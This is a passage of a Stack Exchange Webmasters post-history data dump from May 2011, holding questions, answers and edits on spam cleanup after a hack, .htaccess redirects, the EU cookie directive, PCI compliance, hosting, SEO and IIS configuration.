Printable oedipus rex mysite.com&#xD;&#xA;    mysite.com/myq-ei9vd.htm&#xD;&#xA;&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;What is the most effective way to combat these links by using Google Webmaster Tools and `.htaccess` to get rid of them from the Google results. &#xD;&#xA;&#xD;&#xA;Is it best to serve a 404? How can I achieve this using the `.htaccess` file?&#xD;&#xA;&#xD;&#xA;The site is hosted is on a shared server. I only have access to a limited cPanel and FTP for any form of site configuration.&#xD;&#xA;&#xD;&#xA;Any pointers appreciated. Thanks in advance. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://jasoncosper.com/archives/wordpress-style-css-php-and-you/&#xD;&#xA;&#xD;&#xA;" />
  <row Id="33880" PostHistoryTypeId="1" PostId="14461" RevisionGUID="5d894eb1-0b1b-4884-8586-a6235a542896" CreationDate="2011-05-26T22:17:18.237" UserId="7844" Text="Effective combatting of 100's of spam links in Google Results" />
  <row Id="33881" PostHistoryTypeId="3" PostId="14461" RevisionGUID="5d894eb1-0b1b-4884-8586-a6235a542896" CreationDate="2011-05-26T22:17:18.237" UserId="7844" Text="&lt;seo&gt;&lt;google&gt;&lt;htaccess&gt;&lt;spam&gt;&lt;hacking&gt;" />
  <row Id="33882" PostHistoryTypeId="5" PostId="14325" RevisionGUID="7cf0f9f4-8254-4733-9a0e-d16935cbaae1" CreationDate="2011-05-26T23:03:24.083" UserId="4461" Comment="Paraphrased, clean-up, spelling" Text="Does the use of heavy graphics/images (with `img` tag or in the CSS) effect a site's Google ranking?&#xD;&#xA;&#xD;&#xA;Sometimes sites are heavy because of the images used or Flash or lots of JavaScript - making the loading times higher. &#xD;&#xA;&#xD;&#xA;Does the loading time also effect a site's Google ranking?&#xD;&#xA;&#xD;&#xA;I've mentioned Google, but the question applies to all search engines." />
  <row Id="33883" PostHistoryTypeId="4" PostId="14325" RevisionGUID="7cf0f9f4-8254-4733-9a0e-d16935cbaae1" CreationDate="2011-05-26T23:03:24.083" UserId="4461" Comment="Paraphrased, clean-up, spelling" Text="Heavy graphics/high load time effect Google/search engine ranking?" />
  <row Id="33884" PostHistoryTypeId="6" PostId="14325" RevisionGUID="7cf0f9f4-8254-4733-9a0e-d16935cbaae1" CreationDate="2011-05-26T23:03:24.083" UserId="4461" Comment="Paraphrased, clean-up, spelling" Text="&lt;seo&gt;&lt;performance&gt;" />
  <row Id="33885" PostHistoryTypeId="24" PostId="14325" RevisionGUID="7cf0f9f4-8254-4733-9a0e-d16935cbaae1" CreationDate="2011-05-26T23:03:24.083" Comment="Proposed by 4461 approved by -1 edit id of 356" />
  <row Id="33886" PostHistoryTypeId="4" PostId="14325" RevisionGUID="1f903618-a693-41bb-a4cd-7eefb2432268" CreationDate="2011-05-26T23:03:25.517" UserId="1064" Comment="Restated question, accepted prior edits" Text="Do heavy graphics and/or a high load time affect a site's search rankings?" />
  <row Id="33887" PostHistoryTypeId="25" PostId="14461" RevisionGUID="22bfc6e0-7ccc-461a-84e7-e9561c7e50b0" CreationDate="2011-05-27T00:13:02.200" Comment="http://twitter.com/#!/StackWebmasters/status/73904505779007488" />
  <row Id="33888" PostHistoryTypeId="2" PostId="14462" RevisionGUID="8776d08d-3c9d-46dd-8623-d2f1b7eba847" CreationDate="2011-05-27T01:47:03.370" UserId="1253" Text="Serve a 404 error. That will tell Google and other search engines to remove those pages from their index. Deleting the files themselves will all you need to do. No need to do anything with .htaccess or otherwise." />
  <row Id="33889" PostHistoryTypeId="5" PostId="14462" RevisionGUID="803f6bc6-7461-42ba-9e96-c8f439fc390a" CreationDate="2011-05-27T01:55:52.120" UserId="1253" Comment="added 3 characters in body" Text="Serve a 404 error. That will tell Google and other search engines to remove those pages from their index. Deleting the files themselves will all be you need to do. No need to do anything with .htaccess or otherwise." />
  <row Id="33890" PostHistoryTypeId="25" PostId="14454" RevisionGUID="6a1cf58d-70f0-4ccf-aac9-eb7fb7bab436" CreationDate="2011-05-27T03:13:03.077" Comment="http://twitter.com/#!/StackWebmasters/status/73949807395340288" />
  <row Id="33903" PostHistoryTypeId="25" PostId="14457" RevisionGUID="9bb6303f-0f5b-4a64-b446-084e01c5456f" CreationDate="2011-05-27T06:13:03.537" Comment="http://twitter.com/#!/StackWebmasters/status/73995107543691264" />
  <row Id="33904" PostHistoryTypeId="2" PostId="14465" RevisionGUID="08c7582b-cf42-4300-94f7-f8e4a3a30b1d" CreationDate="2011-05-27T06:30:15.680" UserId="7228" Text="I've just come across [GoDaddy's 4GH Hosting](http://www.godaddy.com/hosting/web-hosting.aspx). It's incredibly cheap and the sales blurb makes it sound amazing.&#xD;&#xA;&#xD;&#xA;Anyone tried it out yet (particularly for ASP.NET / MS SQL Server sites)? I'd love to hear your experiences." />
  <row Id="33905" PostHistoryTypeId="1" PostId="14465" RevisionGUID="08c7582b-cf42-4300-94f7-f8e4a3a30b1d" CreationDate="2011-05-27T06:30:15.680" UserId="7228" Text="GoDaddy 4GH Hosting Experiences?" />
  <row Id="33906" PostHistoryTypeId="3" PostId="14465" RevisionGUID="08c7582b-cf42-4300-94f7-f8e4a3a30b1d" CreationDate="2011-05-27T06:30:15.680" UserId="7228" Text="&lt;asp.net&gt;&lt;godaddy&gt;&lt;cloud-hosting&gt;&lt;sql-server&gt;" />
  <row Id="33907" PostHistoryTypeId="2" PostId="14466" RevisionGUID="689f13b7-1897-493e-a691-e9654914e3a0" CreationDate="2011-05-27T06:46:12.237" UserId="7228" Text="The best indicator I have found so far is by looking at the website selling site https://flippa.com/ and keeping an eye on the &quot;High End&quot; sales.&#xD;&#xA;&#xD;&#xA;The largest sale I've seen go through so far that doesn't hide it's particulars is:&#xD;&#xA;https://flippa.com/138899-the-inqusitr-rare-opp-to-buy-15k-month-news-site-with-1-5-million-uniques&#xD;&#xA;&#xD;&#xA;This particular site http://www.inquisitr.com/ is apparently getting about 7 million page views a month with a eCPM of about $2.21&#xD;&#xA;($15,449 / 7,000,825 page views) * 1,000 = $2.21&#xD;&#xA;&#xD;&#xA;The site has numerous ad slots which take a fair amount of real estate on the page so it's not the best match for my original question, but does give a slight indication. It also has affiliate income so this skews the figure a little also." />
  <row Id="33908" PostHistoryTypeId="2" PostId="14467" RevisionGUID="5559ee6b-93c4-49c1-8014-67b60072e56c" CreationDate="2011-05-27T06:48:41.303" UserId="7852" Text="You can probably find a plugin to do this. Or you can create one your self where if you have a database of emails then you can create a function in your theme funtions that after you post emails all your emails in the database. &#xD;&#xA;&#xD;&#xA;I am thinking of making a plugin that does this." />
  <row Id="33909" PostHistoryTypeId="2" PostId="14468" RevisionGUID="a39be447-24a5-41ba-94a5-fc2af83af88a" CreationDate="2011-05-27T06:56:59.407" UserId="7853" Text="IIS newb. In IIS How do I get my website to resolve to an IP address as well as it's associated domain name? It currently resolves through the domain but I also need to able to view it via the IP." />
  <row Id="33910" PostHistoryTypeId="1" PostId="14468" RevisionGUID="a39be447-24a5-41ba-94a5-fc2af83af88a" CreationDate="2011-05-27T06:56:59.407" UserId="7853" Text="IIS website resolve to IP" />
  <row Id="33911" PostHistoryTypeId="3" PostId="14468" RevisionGUID="a39be447-24a5-41ba-94a5-fc2af83af88a" CreationDate="2011-05-27T06:56:59.407" UserId="7853" Text="&lt;iis&gt;" />
  <row Id="33912" PostHistoryTypeId="6" PostId="14465" RevisionGUID="a78d8e22-f932-41af-94b8-7f3d3bf252a0" CreationDate="2011-05-27T07:56:36.157" UserId="1643" Comment="edited tags" Text="&lt;web-hosting&gt;&lt;asp.net&gt;&lt;godaddy&gt;&lt;cloud-hosting&gt;&lt;sql-server&gt;" />
  <row Id="33913" PostHistoryTypeId="6" PostId="14451" RevisionGUID="0f79f40b-dc48-4a68-aabe-cb5179f695a2" CreationDate="2011-05-27T07:58:58.137" UserId="1643" Comment="edited tags" Text="&lt;wordpress&gt;&lt;redirects&gt;&lt;apache2&gt;" />
  <row Id="33914" PostHistoryTypeId="2" PostId="14469" RevisionGUID="580e0190-1424-44cd-9b26-ce19d69acd98" CreationDate="2011-05-27T08:04:43.363" UserId="3214" Text="###If your using WordPress multisite you can use the [Domain Mapping Plugin][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&lt;br /&gt;&#xD;&#xA;&gt; This plugin allows users of a&#xD;&#xA;&gt; WordPress MU site or WordPress 3.0&#xD;&#xA;&gt; network to map their blog/site to&#xD;&#xA;&gt; another domain.&#xD;&#xA;&gt; &#xD;&#xA;&gt; It requires manual installation as one&#xD;&#xA;&gt; file must be copied to wp-content/.&#xD;&#xA;&gt; When upgrading the plugin, remember to&#xD;&#xA;&gt; update domain_mapping.php and&#xD;&#xA;&gt; sunrise.php. Full instructions are on&#xD;&#xA;&gt; the Installation page and are quite&#xD;&#xA;&gt; easy to follow. You should also read&#xD;&#xA;&gt; this page too.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Super administrators must configure&#xD;&#xA;&gt; the plugin in Super Admin-&gt;Domain&#xD;&#xA;&gt; Mapping. You must enter the IP or IP&#xD;&#xA;&gt; addresses (comma deliminated) of your&#xD;&#xA;&gt; server on this page. The addresses are&#xD;&#xA;&gt; purely for documentation purposes so&#xD;&#xA;&gt; the user knows what they are (so users&#xD;&#xA;&gt; can set up their DNS correctly). They&#xD;&#xA;&gt; do nothing special in the plugin,&#xD;&#xA;&gt; they're only printed for the user to&#xD;&#xA;&gt; see.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://wordpress.org/extend/plugins/wordpress-mu-domain-mapping/" />
  <row Id="33915" PostHistoryTypeId="2" PostId="14470" RevisionGUID="d5b5d275-252c-40ac-a3ac-8d9e09000164" CreationDate="2011-05-27T08:17:48.900" UserId="7854" Text="On my company's website I want to have a form where a visitor can provide an email address and pass an anti-bot challenge. The server would then email a trial key to the visitor.&#xD;&#xA;&#xD;&#xA;Background: I am integrating a third-party software licensing solution into my PC software products. This enables users to use a key of the form &quot;1234-56789-ABCDE-F0123&quot; to activate a limited demo version of my software. Unfortunately, I could not find a licensing vendor offering a simple online service to deliver trial keys via email so I am planning to roll my own such service.&#xD;&#xA;&#xD;&#xA;When a user submits an email address it is checked against a list of stored addresses. If he has registered before, his previous key is resent. If the email address is new, a fresh trial key is sent out from a preloaded list of, say, 1000 keys.  All data (contact info and keys) must be stored securely and there needs to be a basic maintenance portal allowing manipulation and  of the database.  Other functionality may follow (e.g. multiple demo versions, capturing more than email address from form).&#xD;&#xA;&#xD;&#xA;This is the only dynamic page on my website - everything else is pretty much static HTML.  What is a good way to implement this behaviour on low cost / ubiquitous hosting (e.g. MySQL, cPanel, etc.)? What platform/language/CMS/services should I leverage?&#xD;&#xA;&#xD;&#xA;I may hire someone to write scripts, etc. but I first need direction on which platform I should look at. Many thanks." />
  <row Id="33916" PostHistoryTypeId="1" PostId="14470" RevisionGUID="d5b5d275-252c-40ac-a3ac-8d9e09000164" CreationDate="2011-05-27T08:17:48.900" UserId="7854" Text="How to implement a software trial request form?" />
  <row Id="33917" PostHistoryTypeId="3" PostId="14470" RevisionGUID="d5b5d275-252c-40ac-a3ac-8d9e09000164" CreationDate="2011-05-27T08:17:48.900" UserId="7854" Text="&lt;html&gt;&lt;email&gt;&lt;mysql&gt;&lt;database&gt;&lt;forms&gt;" />
  <row Id="33918" PostHistoryTypeId="2" PostId="14471" RevisionGUID="dffb6289-646d-40f5-a70d-9b33dd520bac" CreationDate="2011-05-27T08:25:17.437" UserId="1643" Text="Hosting with cPanel, MySQL and PHPMyAdmin (which gives you access to the backend of the database(s)) should be sufficient. Any web scripting language could do what you want, so it may be best to let the person you hire choose. PHP is an obvious choice, and when you want something changed it's likely you could find someone else to help you if the original person isn't even available." />
  <row Id="33919" PostHistoryTypeId="2" PostId="14472" RevisionGUID="ac85ad10-ca90-4ea1-bf62-a17a186de8b8" CreationDate="2011-05-27T08:56:49.923" UserId="7473" Text="I am confused by all the excitement surrounding the EU cookie directive; why is it such a painful thing?&#xD;&#xA;&#xD;&#xA;As far as I can see cookies that are required for your site to function are allowed such as shopping carts and site logins. Am I missing something here?&#xD;&#xA;&#xD;&#xA;The original HTTP specification was designed to work in a stateless way so to my mind this is a stepping stone in the right direction towards stateless RESTful websites. Why should state be added to the process when it is not needed.&#xD;&#xA;&#xD;&#xA;There is plenty of mileage left in Digest Auth etc so why is everyone worried?&#xD;&#xA;&#xD;&#xA;An obvious answer might be that Google Analytics needs to set cookies to be able to track traffic. There is a somewhat unsatisfactory answer to this point: http://cookies.dev.wolf-software.com&#xD;&#xA;&#xD;&#xA;So have I missed something that I should be panicking about? What has you worried about it?" />
  <row Id="33920" PostHistoryTypeId="1" PostId="14472" RevisionGUID="ac85ad10-ca90-4ea1-bf62-a17a186de8b8" CreationDate="2011-05-27T08:56:49.923" UserId="7473" Text="Why is the EU cookie directive causing so much excitement?" />
  <row Id="33921" PostHistoryTypeId="3" PostId="14472" RevisionGUID="ac85ad10-ca90-4ea1-bf62-a17a186de8b8" CreationDate="2011-05-27T08:56:49.923" UserId="7473" Text="&lt;cookie&gt;&lt;law&gt;" />
  <row Id="33922" PostHistoryTypeId="2" PostId="14473" RevisionGUID="395a69b3-ef1b-474b-9d84-7373fa7ec914" CreationDate="2011-05-27T09:02:39.753" UserId="7473" Text="So Google uses cookies when performing its usual duties of tracking users on a website. That is just it though; Google are setting the cookies and __not__ your website as such. This is by virtue of the fact that the JS is all hosted by Google and merely included into your webpage.&#xD;&#xA;&#xD;&#xA;Wolf Software who have released a jQuery plugin to ask for a users consent before allowing GA seem to imply that it would be the developers problem on their associated web page: http://cookies.dev.wolf-software.com/&#xD;&#xA;&#xD;&#xA;Is this then possibly Google's problem when the ICO comes knocking or should the developer not have implemented GA if they are aware of the potential cookie problem?" />
  <row Id="33923" PostHistoryTypeId="1" PostId="14473" RevisionGUID="395a69b3-ef1b-474b-9d84-7373fa7ec914" CreationDate="2011-05-27T09:02:39.753" UserId="7473" Text="Google Analytics and the EU cookie directive. Who will fall foul of the law? Google or the developer?" />
  <row Id="33924" PostHistoryTypeId="3" PostId="14473" RevisionGUID="395a69b3-ef1b-474b-9d84-7373fa7ec914" CreationDate="2011-05-27T09:02:39.753" UserId="7473" Text="&lt;google-analytics&gt;&lt;cookie&gt;&lt;law&gt;" />
  <row Id="33925" PostHistoryTypeId="25" PostId="14470" RevisionGUID="23ab2703-f5a3-4443-9b6f-85e189a8d846" CreationDate="2011-05-27T09:13:04.190" Comment="http://twitter.com/#!/StackWebmasters/status/74040410166665216" />
  <row Id="33926" PostHistoryTypeId="2" PostId="14474" RevisionGUID="1674ad73-1b86-4654-a8fb-6fd07f77ad0b" CreationDate="2011-05-27T09:27:23.117" UserId="1643" Text="It appears to be painful for people who read the headlines and don't know that about those allowed exceptions.&#xD;&#xA;&#xD;&#xA;It is also painful if you have cookies for statistical purposes as they aren't allowed without consent:&#xD;&#xA;&#xD;&#xA;&gt; The exception would not apply, for&#xD;&#xA;&gt; example, just  because you have&#xD;&#xA;&gt; decided that your website is more&#xD;&#xA;&gt; attractive if  you remember users’&#xD;&#xA;&gt; preferences or if you decide to use a&#xD;&#xA;&gt; cookie to  collect statistical&#xD;&#xA;&gt; information about the use of your&#xD;&#xA;&gt; website.&#xD;&#xA;&#xD;&#xA;http://www.ico.gov.uk/~/media/documents/library/Privacy_and_electronic/Practical_application/advice_on_the_new_cookies_regulations.pdf&#xD;&#xA;&#xD;&#xA;It's also painful because although it's easy to put JavaScript on your site that does statistics tracking it's not easy unless you've seen that plugin.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/14473/google-analytics-and-the-eu-cookie-directive-who-will-fall-foul-of-the-law-goog" />
  <row Id="33927" PostHistoryTypeId="2" PostId="14475" RevisionGUID="07402b5c-b614-421f-b871-22012a9d6dd2" CreationDate="2011-05-27T09:28:05.233" UserId="925" Text="I have heard that if someone searches for a term, and your domain name matches that term (e.g. stackexchange.com ranks well for &quot;stack exchange&quot;). If there are 2 (or more) words that you are targeting (e.g. &quot;stack exchange&quot;), do you get a better google keyword bonus if you make it alloneword or if you use hypens?&#xD;&#xA;&#xD;&#xA;e.g. If you want to target the search term &quot;stack exchange&quot;, should you register stackexchange.com or stack-exchange.com ?" />
  <row Id="33928" PostHistoryTypeId="1" PostId="14475" RevisionGUID="07402b5c-b614-421f-b871-22012a9d6dd2" CreationDate="2011-05-27T09:28:05.233" UserId="925" Text="SEO domain keyword adventage - alltogether.com or all-different-words.com?" />
  <row Id="33929" PostHistoryTypeId="3" PostId="14475" RevisionGUID="07402b5c-b614-421f-b871-22012a9d6dd2" CreationDate="2011-05-27T09:28:05.233" UserId="925" Text="&lt;seo&gt;&lt;domain-names&gt;&lt;site-ranking&gt;" />
  <row Id="33934" PostHistoryTypeId="5" PostId="14475" RevisionGUID="97570664-c7cc-45fa-a4b2-340333057dd3" CreationDate="2011-05-27T10:32:32.520" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Is it better to put hyphens in a domain name ?](http://webmasters.stackexchange.com/questions/410/is-it-better-to-put-hyphens-in-a-domain-name)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;I have heard that if someone searches for a term, and your domain name matches that term (e.g. stackexchange.com ranks well for &quot;stack exchange&quot;). If there are 2 (or more) words that you are targeting (e.g. &quot;stack exchange&quot;), do you get a better google keyword bonus if you make it alloneword or if you use hypens?&#xD;&#xA;&#xD;&#xA;e.g. If you want to target the search term &quot;stack exchange&quot;, should you register stackexchange.com or stack-exchange.com ?" />
  <row Id="33935" PostHistoryTypeId="10" PostId="14475" RevisionGUID="ac0e11cc-6ebd-47be-b6f5-1589d6ea7a08" CreationDate="2011-05-27T10:32:32.300" UserId="1064" CloseReasonId="1" Text="[{&quot;Id&quot;:1064,&quot;DisplayName&quot;:&quot;danlefree&quot;}]" />
  <row Id="33936" PostHistoryTypeId="2" PostId="14478" RevisionGUID="e6aafeda-7c42-4247-9a60-bc6eb34d6ff3" CreationDate="2011-05-27T10:34:59.943" UserId="7198" Text="**The short answer is that no-one knows yet.**&#xD;&#xA;&#xD;&#xA;The long answer is that 3rd party cookies are a hazy area; it's not clear from the [directive](http://eur-lex.europa.eu/LexUriServ/LexUriServ.do?uri=OJ:L:2009:337:0011:0036:En:PDF) (PDF) who would be prosecuted for failing to obtain consent when storing 3rd party cookies.&#xD;&#xA;&#xD;&#xA;The ICO's current interpretation and advice, published in [&quot;Changes to the rules on using cookies...&quot;](http://www.ico.gov.uk/news/current_topics/~/media/documents/library/Privacy_and_electronic/Practical_application/advice_on_the_new_cookies_regulations.ashx), admits that they don't know how the directive applies to 3rd party cookies:&#xD;&#xA;&#xD;&#xA;&gt; &quot;The process of getting consent for these [3rd party] cookies is more complex and our view is that **everyone has a part to play in making sure that the user is aware of what is being collected** and by whom.&quot;&#xD;&#xA;&#xD;&#xA;Emphasis mine. They don't say who's responsible, only that *someone* is. Furthermore, they say that they're attempting to clarify these rules:&#xD;&#xA;&#xD;&#xA;&gt; &quot;[3rd party cookies] may be the most challenging area in which to achieve compliance with the new rules and we are working with industry and other European data protection authorities to assist in addressing complexities and finding the right answers.&quot;&#xD;&#xA;&#xD;&#xA;One possible hint of the ICO's stance is that they list Google Analytics cookies as non-essential in their own [privacy policy](http://www.ico.gov.uk/Global/privacy_statement.aspx), and only use Google Analytics if you consent to storing cookies. I think that this sets the tone for any clarification they might offer. They may well say, 'you need to ask permission for 3rd party cookies too, because it's your choice whether you use those services or not'. But we don't know for sure yet.&#xD;&#xA;&#xD;&#xA;This uncertainty is one reason for the compliancy deadline being extended to 25th May 2012. The best thing British webmasters concerned about the impact can do is to keep an eye on the &lt;a href=&quot;http://www.ico.gov.uk/&quot;&gt;ICO's website&lt;/a&gt; and wait for clarification from them. In the meantime, the rest of their advice outlined in [their guidelines](http://www.ico.gov.uk/news/current_topics/~/media/documents/library/Privacy_and_electronic/Practical_application/advice_on_the_new_cookies_regulations.ashx) is worth following for cookies that you issue yourself.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="33946" PostHistoryTypeId="16" PostId="14465" RevisionGUID="c4a6a92d-5ff6-4614-af42-201720103893" CreationDate="2011-05-27T11:31:40.837" UserId="1253" />
  <row Id="33947" PostHistoryTypeId="2" PostId="14480" RevisionGUID="ccea8b4b-caa9-450f-b6c5-a030a3444461" CreationDate="2011-05-27T11:59:29.543" UserId="233" Text="Is there a specific reason you are choosing between those two options? The only &quot;advantage&quot; of those older systems is that they use flat-file storage and do not require MySQL. However, this is pretty much a weakness for many reasons including performance and security.&#xD;&#xA;&#xD;&#xA;Those types of scripts - Cutenews in particular - are remnants from a bygone era when many hosts supported PHP but not MySQL. This is no longer true and nearly all cheap PHP hosting includes MySQL too.&#xD;&#xA;&#xD;&#xA;By the way, Cutenews 1.3.x is full of security holes. Cutenews 1.4 is better but is many years old now and no longer developed so could easy have problems. So of the two options, Fusion News would be the *lesser of two evils*. However, I would strongly recommend using a more modern platform such as Wordpress." />
  <row Id="33948" PostHistoryTypeId="25" PostId="14473" RevisionGUID="26a04335-e759-4d7a-9935-2c6aaf9f9c59" CreationDate="2011-05-27T12:13:04.380" Comment="http://twitter.com/#!/StackWebmasters/status/74085708754726912" />
  <row Id="33949" PostHistoryTypeId="2" PostId="14481" RevisionGUID="756782bf-506f-4c4a-a2d3-f10419ddc7fa" CreationDate="2011-05-27T13:14:48.597" UserId="1953" Text="Most complaints I've seen fall outside of the exceptions you've mentioned and more into the realm of marketing/data. Some of the big issues I see are:&#xD;&#xA;&#xD;&#xA;1. Standard analytics (Google Analytics and others)&#xD;&#xA;2. Additional testing (A/B testing etc for usability/conversion rate optimization)&#xD;&#xA;3. Affiliate tracking.&#xD;&#xA;4. Re-marketing there are many programs now that drop a cookie and generate dynamic ads based on user's activity.&#xD;&#xA;5. Personalization - such as offering personalized product recommendations based on previously viewed products etc.&#xD;&#xA;&#xD;&#xA;Admittedly I'm US based so I haven't followed this as closely as others may have but I don't believe any of the above fall into the &quot;exceptions&quot; and all are widely used." />
  <row Id="33950" PostHistoryTypeId="5" PostId="14430" RevisionGUID="31b3649f-9361-44b3-a187-e55f338badd3" CreationDate="2011-05-27T13:24:52.500" UserId="1253" Comment="added 289 characters in body" Text="PCI compliance will always be an issue when dealing with credit card payments. Doing it this way only complicates things as now not only does your site have to be PCI compliant but so does the user who uses this widget. PCI compliance dictates that any website that handles credit card payments must be PCI compliant. &#xD;&#xA;&#xD;&#xA;&gt;The Payment Card Industry Data Security Standard (PCI DSS) is a set of requirements designed to ensure that ALL companies that process, store or transmit credit card information maintain a secure environment. ([source][1])&#xD;&#xA;&#xD;&#xA;So by having the payment functionality in a widget you forces your users to be PCI compliant as well.&#xD;&#xA;&#xD;&#xA;One issue that may be difficult to overcome is SSL. You can perform the entire transaction over SSL using your widget but the user won't know that because the browser will not show that the page is secure unless the page that the widget is on is using SSL itself. So users may abandon a purchase if they don't see the lock icon in the browser.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.pcicomplianceguide.org/pcifaqs.php#1" />
  <row Id="33951" PostHistoryTypeId="2" PostId="14482" RevisionGUID="a602e21b-891c-4630-a5a8-6991790cdca5" CreationDate="2011-05-27T13:28:21.877" UserId="1953" Text="The easiest way I know of to find a vulnerability of an outdated version of software is to look at the change logs of the next version up. See what was fixed in the newer version and start looking there. (This would likely include all outdated software IE ftp client, your server software, your CMS and so on).&#xD;&#xA;&#xD;&#xA;Also if you have a backup from before the issue occurred revert back to that using SSH  or A different ftp client rather then your ftp client if you think that is where the issue is." />
  <row Id="33952" PostHistoryTypeId="2" PostId="14483" RevisionGUID="f5f3c64e-b60f-42d4-adc7-fa2eef4b4a35" CreationDate="2011-05-27T13:59:15.473" UserId="3610" Text="I had an application on a domain while it was in development, for around one year. During that time content grew steadily but the application was buggy and google found plenty of errors.&#xD;&#xA;&#xD;&#xA;Four months ago I moved the complete application to a new domain but I did not use google webmaster tools to change the address. Recently I have started to do well for my main keyword and decided that I would 'move' the old domain to the new, in order to give the site increased age.&#xD;&#xA;&#xD;&#xA;Today I find myself dropped from position 18 to 34 for my keyword which is rather disappointing to say the least. &#xD;&#xA;&#xD;&#xA;Not having changed anything else, can anyone envisage my being penalised for this change of address. Should I cancel the request or might it fix itself?&#xD;&#xA;&#xD;&#xA;Advice is appreciated." />
  <row Id="33953" PostHistoryTypeId="1" PostId="14483" RevisionGUID="f5f3c64e-b60f-42d4-adc7-fa2eef4b4a35" CreationDate="2011-05-27T13:59:15.473" UserId="3610" Text="Moving domains with webmaster tools - dropped serp" />
  <row Id="33954" PostHistoryTypeId="3" PostId="14483" RevisionGUID="f5f3c64e-b60f-42d4-adc7-fa2eef4b4a35" CreationDate="2011-05-27T13:59:15.473" UserId="3610" Text="&lt;google&gt;&lt;pagerank&gt;" />
  <row Id="33955" PostHistoryTypeId="2" PostId="14484" RevisionGUID="db3d5f51-e70f-46e1-8fd0-09fd4452700c" CreationDate="2011-05-27T14:00:49.183" UserId="5532" Text="Is there a tool that will scan all elements on a webpage and report which item is making a non-SSL call? My webapp keeps showing the mixed use icon and everything I can see is good. :/&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="33956" PostHistoryTypeId="1" PostId="14484" RevisionGUID="db3d5f51-e70f-46e1-8fd0-09fd4452700c" CreationDate="2011-05-27T14:00:49.183" UserId="5532" Text="Tool to check non-SSL calls?" />
  <row Id="33957" PostHistoryTypeId="3" PostId="14484" RevisionGUID="db3d5f51-e70f-46e1-8fd0-09fd4452700c" CreationDate="2011-05-27T14:00:49.183" UserId="5532" Text="&lt;ssl&gt;&lt;tools&gt;" />
  <row Id="33958" PostHistoryTypeId="2" PostId="14485" RevisionGUID="01920d52-fd8c-4eae-ad87-3f7c84a67573" CreationDate="2011-05-27T14:09:40.480" UserId="1253" Text="Did you do 301 redirects for all of your pages? This is necessary to tell Google where to find the new pages since they all moved. It also transfers over incoming links and PR from the old pages to the new which is very important. This snippet in an .htaccess file should do the trick:&#xD;&#xA;&#xD;&#xA;    Options +FollowSymlinks&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    RewriteCond %{HTTP_HOST} ^(www\.)?olddomain\.com$ [NC]&#xD;&#xA;    RewriteRule ^(.*)$ http://www.newdomain.com/$1 [R=301,L]&#xD;&#xA;&#xD;&#xA;It's hard to say how long it will take for this to get your site back up in the SERPs since it varies for every website.&#xD;&#xA;" />
  <row Id="33959" PostHistoryTypeId="2" PostId="14486" RevisionGUID="859bdf17-51c3-4483-a5e7-762e7936632b" CreationDate="2011-05-27T14:12:43.100" UserId="-1" Text="" />
  <row Id="33960" PostHistoryTypeId="2" PostId="14487" RevisionGUID="b1cf4146-4121-4a50-9f85-ad14f83e486a" CreationDate="2011-05-27T14:12:43.100" UserId="-1" Text="" />
  <row Id="33961" PostHistoryTypeId="5" PostId="14486" RevisionGUID="cbd574fc-ffb9-497d-b20b-acbb1a821ddb" CreationDate="2011-05-27T14:20:41.740" UserId="7825" Comment="added 1141 characters in body" Text="![enter image description here][1]&#xD;&#xA;&#xD;&#xA;[Python][2] is a dynamically and strongly typed programming language, used for developing [a wide range of applications][3]. The philosophy of Python is succinctly formulated in *The Zen of Python* (Author: Tim Peters), which can be revealed by issuing this command at the interactive interpreter:&#xD;&#xA;&#xD;&#xA;    &gt;&gt;&gt; import this&#xD;&#xA;&#xD;&#xA;The exhaustive and up-to-date reference to the Python specification and standard library documentation can be found in the [official docs][4]. There are a wide variety of [implementations][5], which have relevant Stack Overflow tags reserved for them, although for most questions the [tag:python] tag should be sufficient. The reference implementation is known as CPython.&#xD;&#xA;&#xD;&#xA;The current stable versions are [2.7.1][6] and [3.2][7].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/iU1AY.png&#xD;&#xA;  [2]: http://www.python.org/&#xD;&#xA;  [3]: http://www.python.org/about/apps/&#xD;&#xA;  [4]: http://docs.python.org/&#xD;&#xA;  [5]: http://en.wikipedia.org/wiki/Python_%28programming_language%29#Implementations&#xD;&#xA;  [6]: http://www.python.org/download/releases/2.7.1/&#xD;&#xA;  [7]: http://www.python.org/download/releases/3.2/" />
  <row Id="33962" PostHistoryTypeId="24" PostId="14486" RevisionGUID="cbd574fc-ffb9-497d-b20b-acbb1a821ddb" CreationDate="2011-05-27T14:20:41.740" Comment="Proposed by 7825 approved by 1253 edit id of 357" />
  <row Id="33963" PostHistoryTypeId="5" PostId="14487" RevisionGUID="3ba2694f-8066-4b26-8428-96715d568577" CreationDate="2011-05-27T14:20:43.423" UserId="7825" Comment="added 126 characters in body" Text="Python is an interpreted, general-purpose high-level programming language whose design philosophy emphasizes code readability." />
  <row Id="33964" PostHistoryTypeId="24" PostId="14487" RevisionGUID="3ba2694f-8066-4b26-8428-96715d568577" CreationDate="2011-05-27T14:20:43.423" Comment="Proposed by 7825 approved by 1253 edit id of 358" />
  <row Id="33965" PostHistoryTypeId="2" PostId="14488" RevisionGUID="c9c71dda-786f-40a2-8957-a0b9ac84c6ce" CreationDate="2011-05-27T14:22:28.163" UserId="1643" Text="If you right click on the page in Firefox 4 then you get a page info dialog. On the media tab you can see all the images that are included. You can see if they begin with https. Otherwise Firebug, the Firefox plugin, lets you see which scripts, css files you're using, even if they are loaded via Javascript." />
  <row Id="33966" PostHistoryTypeId="2" PostId="14489" RevisionGUID="cb3d77ed-bf2e-44bf-a9ca-21e4e9c556cf" CreationDate="2011-05-27T14:30:07.900" UserId="1643" Text="I'll answer for II6. Other versions will vary slightly. If you right click on the website in IIS Manager and choose properties then a dialog box comes up. On the first tab is an IP address dropdown and you can choose it from there or click Advanced and add it there." />
